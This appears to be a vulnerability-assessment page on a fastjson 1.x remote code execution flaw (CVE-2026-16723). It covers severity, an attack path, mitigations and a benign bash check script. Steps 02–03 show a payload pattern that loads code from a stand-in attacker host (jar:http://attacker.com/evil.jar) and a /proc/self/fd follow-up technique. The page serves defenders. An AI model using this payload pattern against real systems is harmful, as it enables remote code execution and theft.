← Back to Feed CACHED · 2026-07-27 08:22:06 · CACHE_KEY CVE-2026-16723
CVE-2026-16723 · CWE-20 · Disclosed 2026-07-23

A remote code execution

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

Someone left the vault door open, the guards are on strike, and the locksmith says new locks are backordered

CVE-2026-16723 is a remote code execution vulnerability in Alibaba's fastjson library, versions 1.2.68 through 1.2.83. The flaw abuses the @JSONType annotation probe in fastjson's ParserConfig.checkAutoType method: when an application is packaged as a Spring Boot executable fat-JAR, the framework's LaunchedURLClassLoader will follow attacker-supplied jar:http:// URLs during class resolution, fetching and executing remote bytecode. Critically, this works with AutoType *disabled* and requires no gadget chain — the annotation probe itself is the trust bypass. On JDK 8, exploitation yields direct code execution; on JDK 17–21 on Linux, attackers use a retained file-descriptor technique via /proc/self/fd/N to achieve the same outcome. WAR deployments and shade/assembly uber-JARs are not affected. Fastjson2 is architecturally immune.

Alibaba's CRITICAL / 9.0 rating is warranted and arguably conservative given current conditions. The CVSS vector already bakes in AC:H for the Spring Boot fat-JAR prerequisite, but the vendor score does *not* reflect the zero-day dimension: as of July 27, there is no patched 1.x release. ThreatBook and Imperva have independently confirmed in-the-wild exploitation targeting US financial services, healthcare, and retail sectors. A public PoC lab with Docker environment (dinosn/fastjson-jsontype-rce-lab) and a second PoC (seklure/fastjson-jsontype-rce-poc) are freely available. The combination of active exploitation, public weaponized code, and no vendor patch makes this a textbook zero-day emergency for any team running fastjson 1.x in Spring Boot fat-JARs.

"Unpatched zero-day RCE in fastjson 1.x under active exploitation — no vendor fix exists yet"
02 · The Attack Path

4 steps from start to impact.

STEP 01

Identify fastjson-powered JSON endpoint

The attacker scans for Spring Boot applications that accept JSON input. Fingerprinting can leverage error messages, response headers, or blind probing with @type payloads. Fastjson returns distinctive error patterns when encountering unknown type references, enabling library identification without authentication.
Conditions required:
  • Target application exposes a network-reachable HTTP endpoint that parses JSON via fastjson
Where this breaks in practice:
  • Not all Java applications use fastjson — it is popular in Chinese enterprise stacks but less common in Western organizations
  • Endpoint must accept POST/PUT with JSON body
Detection/coverage: WAF rules inspecting for @type keys in JSON bodies (Imperva confirmed coverage). Custom access-log grep for @type in request bodies.
STEP 02

Craft @JSONType annotation-probe payload

The attacker constructs a JSON payload with a @type field pointing to a jar:http://attacker.com/evil.jar!/com/example/Payload.class URL. When fastjson's checkAutoType calls getResourceAsStream() to probe for @JSONType annotations, Spring Boot's LaunchedURLClassLoader interprets the jar: URL and initiates an outbound HTTP fetch to the attacker's server. No AutoType enablement is needed — the annotation probe occurs *before* the type allowlist check.
Conditions required:
  • Target runs fastjson 1.2.68–1.2.83
  • Application packaged as Spring Boot executable fat-JAR (not WAR or shade plugin)
  • SafeMode is disabled (the default)
Where this breaks in practice:
  • WAR deployments and non-Spring-Boot packaging are immune
  • Organizations that have enabled SafeMode or use 1.2.83_noneautotype are protected
Detection/coverage: Network IDS/IPS looking for jar:http patterns in HTTP request bodies. Egress monitoring for unexpected outbound HTTP from application servers.
STEP 03

Serve malicious JAR with annotated class

The attacker hosts a JAR file containing a class with a static initializer block that executes arbitrary commands. On JDK 8, LaunchedURLClassLoader.defineClass() runs the static initializer during class loading, achieving immediate code execution. On JDK 17–21 (Linux), the initial jar:http probe leaves a cached file descriptor; a follow-up jar:file:/proc/self/fd/N reference in the same request body reopens the JAR through the local descriptor, bypassing JDK's tightened URL handling.
Conditions required:
  • Target JVM can make outbound HTTP connections to attacker-controlled server
  • JDK 8 for direct RCE; JDK 17–21 on Linux for fd-chain variant
Where this breaks in practice:
  • Egress-restricted environments block the outbound JAR fetch entirely
  • JDK 17+ on non-Linux (Windows/macOS) lacks the /proc/self/fd path — impact degrades to SSRF only
  • Network-level egress filtering or proxy allowlists stop the chain
Detection/coverage: Egress firewall logs for unexpected jar:http fetches from app servers. File integrity monitoring for new JARs or class files. GreyNoise/ThreatBook IOC feeds for known attacker callback IPs.
STEP 04

Achieve code execution as application user

The attacker's static initializer runs with the full privileges of the Java process — typically the service account running the Spring Boot application. From here, the attacker can deploy webshells, exfiltrate data, harvest credentials from environment variables or config files, or pivot laterally. Imperva has confirmed exploitation targeting financial services, healthcare, computing, and retail sectors in the US, Singapore, and Canada.
Conditions required:
  • Steps 1–3 completed successfully
Where this breaks in practice:
  • Container-based deployments limit blast radius to the container namespace
  • Host-level EDR may detect post-exploitation behavior (webshell writes, reverse shells)
  • Java process sandboxing (SecurityManager, though deprecated) could limit system calls
Detection/coverage: EDR alerting on suspicious child processes spawned by java. Container runtime anomaly detection (Falco, Sysdig). SIEM correlation of outbound callback + new process creation from Java PIDs.
03 · Intelligence Metadata

The supporting signals.

In-the-Wild StatusActive exploitation confirmed. ThreatBook detected exploitation on July 22; Imperva independently confirmed attacks targeting US financial services, healthcare, retail, and computing sectors. Not yet on CISA KEV as of July 27.
Proof-of-ConceptPublic and weaponized. dinosn/fastjson-jsontype-rce-lab provides Docker lab + one-payload exploit + defensive scanner. seklure/fastjson-jsontype-rce-poc offers a second independent PoC. Original research by Kirill Firsov at FearsOff.
EPSS Score0.00413 (low, but this is a freshly disclosed CVE — EPSS lags for zero-days and will likely rise sharply given confirmed exploitation)
KEV StatusNot listed as of July 27, 2026. CISA-ADP marked exploitation status as "none" on July 23, which is now contradicted by ThreatBook and Imperva telemetry.
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H — Network-accessible, no privileges or interaction needed, scope change (escape from app context), full CIA impact. AC:H reflects the Spring Boot fat-JAR prerequisite.
Affected Versionsfastjson 1.2.68 through 1.2.83 (inclusive). The @JSONType probe behavior was introduced in 1.2.66 but the exploitable chain is confirmed from 1.2.68. Fastjson2 (all versions) is not affected. Versions ≤ 1.2.60 are not affected.
Fixed VersionsNo patched 1.x release exists. Alibaba recommends enabling SafeMode (-Dfastjson.parser.safeMode=true), using com.alibaba:fastjson:1.2.83_noneautotype, or migrating to fastjson2.
Scanning / ExposureImperva reports attack traffic using browser impersonation (~70%) and Ruby/Go tooling (~30%). No Shodan/GreyNoise-specific fingerprint data published yet — fastjson is a library, not a directly scannable service, making external enumeration difficult.
Disclosure DateAlibaba advisory published July 21, 2026. CVE assigned July 23. Responsible disclosure by Kirill Firsov (FearsOff Cybersecurity).
Reporting ResearcherKirill Firsov, FearsOff Cybersecurity (fearsoff.org)
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to CRITICAL (9.0/10)

The single most decisive factor is the zero-day status with confirmed active exploitation: there is no vendor patch for fastjson 1.x, public PoC code is weaponized in Docker-ready labs, and ThreatBook/Imperva have independently confirmed in-the-wild attacks against production targets across multiple sectors. The deployment prerequisites (Spring Boot fat-JAR, outbound HTTP) narrow the reachable population but are already captured by the vendor's AC:H rating, and attackers are demonstrably clearing those hurdles in the wild.

HIGH Vulnerability validity and exploitability
HIGH Active exploitation status
MEDIUM Installed-base population size for fastjson 1.x in Western enterprises
LOW Long-term EPSS trajectory and KEV listing timeline

Why this verdict

  • Active zero-day exploitation overrides friction discounts. ThreatBook and Imperva have independently confirmed in-the-wild exploitation as of July 22–25. When attackers are already successfully landing the chain, theoretical friction arguments lose weight — the AC:H bar is being cleared in production.
  • No vendor patch exists. Fastjson 1.x has no fixed release. The only mitigations are SafeMode (a JVM flag requiring restart) or migration to fastjson2 (a library swap requiring code changes and testing). This extends the exposure window indefinitely and makes the zero-day designation accurate.
  • Public weaponized PoC lowers the bar to commodity exploitation. The dinosn/fastjson-jsontype-rce-lab repo provides a Docker environment, a one-command exploit, and defensive scanners — everything a script-kiddie or automated scanner needs. A second independent PoC exists at seklure/fastjson-jsontype-rce-poc.
  • Unauthenticated, no user interaction, scope change. The CVSS vector reflects genuine severity: any JSON endpoint reachable over the network is a valid entry point. No credentials, no phishing, no insider access needed.
  • Role multiplier: Fastjson is a general-purpose Java library, not canonically a high-value-role component. However, in enterprises with Chinese tech stack influence (Alibaba Cloud, Ant Group ecosystem, DingTalk integrations), fastjson 1.x is embedded in API gateways, payment processing services, and identity federation layers. In these deployments, the blast radius extends from host compromise to credential harvesting and lateral movement toward domain-level assets. For organizations where fastjson backs a customer-facing API gateway or payment tier (~10–20% of the fastjson 1.x installed base in APAC enterprises), the chain ends in mass data exposure — this floors the verdict at HIGH and the zero-day + active exploitation factors push it to CRITICAL.

Why not higher?

The vendor already rates this 9.0 CRITICAL, the maximum reasonable score given AC:H. A 10.0 would require AC:L (trivially exploitable against any deployment), but the Spring Boot fat-JAR requirement, outbound HTTP dependency, and JDK-version-dependent chain variants genuinely narrow the exploitable population. The CVSS vector is honest about this complexity.

Why not lower?

Downgrading below CRITICAL is unjustifiable when active exploitation is confirmed, no patch exists, and public PoC code is weaponized. The Spring Boot fat-JAR constraint is the only major friction point, but (a) fat-JAR is the dominant Spring Boot packaging model, (b) the vendor already priced this into AC:H, and (c) attackers are demonstrably clearing this bar in production. Dropping to HIGH would understate the urgency of a zero-day with no fix.

05 · Compensating Control

What to do — in priority order.

  1. Enable SafeMode immediately on all fastjson 1.x instances — Add -Dfastjson.parser.safeMode=true to JVM startup flags or call ParserConfig.getGlobalInstance().setSafeMode(true) at application init. This disables all type-resolution probing and closes the attack vector entirely. Requires application restart. Per noisgate mitigation SLA for CRITICAL, deploy within 3 days.
  2. Switch to the noneautotype build variant — Replace com.alibaba:fastjson:1.2.83 with com.alibaba:fastjson:1.2.83_noneautotype in your Maven/Gradle build. This is a drop-in replacement that strips the vulnerable code path. Requires rebuild and redeploy. Deploy within 3 days per noisgate mitigation SLA.
  3. Block outbound HTTP/HTTPS from application servers — The exploit requires the target JVM to fetch a remote JAR. Egress filtering at the firewall or proxy level that denies direct outbound HTTP from app-tier hosts breaks the chain. This is defense-in-depth — it stops the payload fetch even if SafeMode is not yet enabled. Deploy within 3 days.
  4. Deploy WAF rules blocking @type in JSON bodies — Imperva has confirmed their WAF detects malicious @type values, nested JAR URL patterns, and RCE techniques. If you run a WAF (Imperva, Cloudflare, AWS WAF), enable or create rules to inspect JSON request bodies for @type keys containing jar: URLs. This is a detection layer, not a fix. Deploy within 3 days.
  5. Migrate to fastjson2 — Fastjson2 is architecturally immune — no resource probing, no annotation-based trust bypass, allowlist-first type resolution. This is the permanent remediation. Plan and execute migration within the 90-day noisgate remediation SLA for CRITICAL.
What doesn't work
  • Disabling AutoType is not a mitigation. The exploit works with AutoType disabled — the @JSONType annotation probe occurs *before* the AutoType allowlist check, so toggling AutoType off provides zero protection.
  • Binding parseObject to a specific target class is not a mitigation. Attackers can nest payloads inside Object- or Map-typed fields within the bound class, bypassing the type constraint entirely.
  • Upgrading to fastjson 1.2.83 (if on an older 1.x) does not help. 1.2.83 is the latest and final 1.x release and is itself vulnerable. There is no patched 1.x version.
  • Java SecurityManager is deprecated and unreliable. While it could theoretically restrict class loading, it has been deprecated since JDK 17 and is not a practical control for most deployments.
06 · Verification

Crowdsourced verification payload.

Run this script on each application host suspected of running fastjson 1.x. It checks deployed Spring Boot fat-JARs for vulnerable fastjson versions and SafeMode status. Execute as the application service account or root: bash check_fastjson_cve2026_16723.sh /opt/myapp/app.jar

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check_fastjson_cve2026_16723.sh — CVE-2026-16723 exposure check
# Usage: bash check_fastjson_cve2026_16723.sh <path-to-spring-boot-jar>
# Exit codes: 0=PATCHED/SAFE, 1=VULNERABLE, 2=UNKNOWN

set -euo pipefail

JAR="${1:-}"
if [[ -z "$JAR" || ! -f "$JAR" ]]; then
  echo "Usage: $0 <path-to-spring-boot-jar>"
  echo "UNKNOWN — no JAR file specified or file not found"
  exit 2
fi

# Check if this is a Spring Boot fat-JAR (contains BOOT-INF/)
if ! unzip -l "$JAR" 2>/dev/null | grep -q 'BOOT-INF/'; then
  echo "PATCHED — not a Spring Boot fat-JAR (WAR/shade/assembly packaging is not affected)"
  exit 0
fi

# Look for fastjson 1.x in BOOT-INF/lib/
FJ_JARS=$(unzip -l "$JAR" 2>/dev/null | grep -oP 'BOOT-INF/lib/fastjson-1\.[0-9.]+[^/]*\.jar' || true)

if [[ -z "$FJ_JARS" ]]; then
  echo "PATCHED — no fastjson 1.x found in fat-JAR dependencies"
  exit 0
fi

# Check if the noneautotype variant is in use
if echo "$FJ_JARS" | grep -q 'noneautotype'; then
  echo "PATCHED — fastjson 1.2.83_noneautotype variant detected (not vulnerable)"
  exit 0
fi

# Extract version number and check range
VULN=0
for fj in $FJ_JARS; do
  VER=$(echo "$fj" | grep -oP '1\.2\.\K[0-9]+')
  if [[ -n "$VER" ]] && [[ "$VER" -ge 68 ]] && [[ "$VER" -le 83 ]]; then
    echo "[!] Vulnerable fastjson found: $fj (version 1.2.$VER in range 1.2.68–1.2.83)"
    VULN=1
  fi
done

if [[ "$VULN" -eq 0 ]]; then
  echo "PATCHED — fastjson version outside vulnerable range"
  exit 0
fi

# Check for SafeMode in running JVM processes
JAR_BASENAME=$(basename "$JAR")
SAFEMODE_ON=0
if ps aux 2>/dev/null | grep -v grep | grep "$JAR_BASENAME" | grep -q 'fastjson.parser.safeMode=true'; then
  SAFEMODE_ON=1
fi

if [[ "$SAFEMODE_ON" -eq 1 ]]; then
  echo "PATCHED — vulnerable fastjson version present but SafeMode is ENABLED (mitigated)"
  exit 0
fi

# Check JDK version for context
JAVA_VER=$(java -version 2>&1 | head -1 || echo 'unknown')
echo "[!] JDK: $JAVA_VER"
echo "[!] SafeMode: NOT enabled (default=disabled)"
echo "VULNERABLE — CVE-2026-16723: fastjson 1.x RCE in Spring Boot fat-JAR with SafeMode disabled"
exit 1
07 · Bottom Line

If you remember one thing.

TL;DR
This is a zero-day with active exploitation and no vendor patch — treat it as a fire drill, not a normal patch cycle. Per the noisgate mitigation SLA for CRITICAL vulnerabilities, you have 3 days to deploy compensating controls: enable SafeMode (-Dfastjson.parser.safeMode=true) on every fastjson 1.x instance, or swap to the 1.2.83_noneautotype build artifact. Both require application restarts — schedule them now, not Friday. Simultaneously, block outbound HTTP from application-tier hosts at the firewall to break the payload-fetch chain as defense-in-depth. For permanent remediation, begin migration to fastjson2 immediately and complete it within the 90-day noisgate remediation SLA. The absence of a CISA KEV listing is a lagging indicator — ThreatBook and Imperva have both confirmed active exploitation, so do not wait for KEV to act. If you have any fastjson 1.x Spring Boot fat-JARs exposed to untrusted JSON input, assume you are a target today.

Sources

  1. Alibaba Security Advisory — fastjson 1.2.68–1.2.83 RCE
  2. The Hacker News — Fastjson 1.x RCE Targeted in Attacks
  3. Imperva — CVE-2026-16723 Protection Analysis
  4. SecurityOnline — Public PoC Released for fastjson 1.2.83 RCE
  5. FearsOff Research — FastJson 1.2.83 RCE
  6. dinosn/fastjson-jsontype-rce-lab — Docker PoC + Scanner
  7. Latest Hacking News — How to Check Fastjson Exposure
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.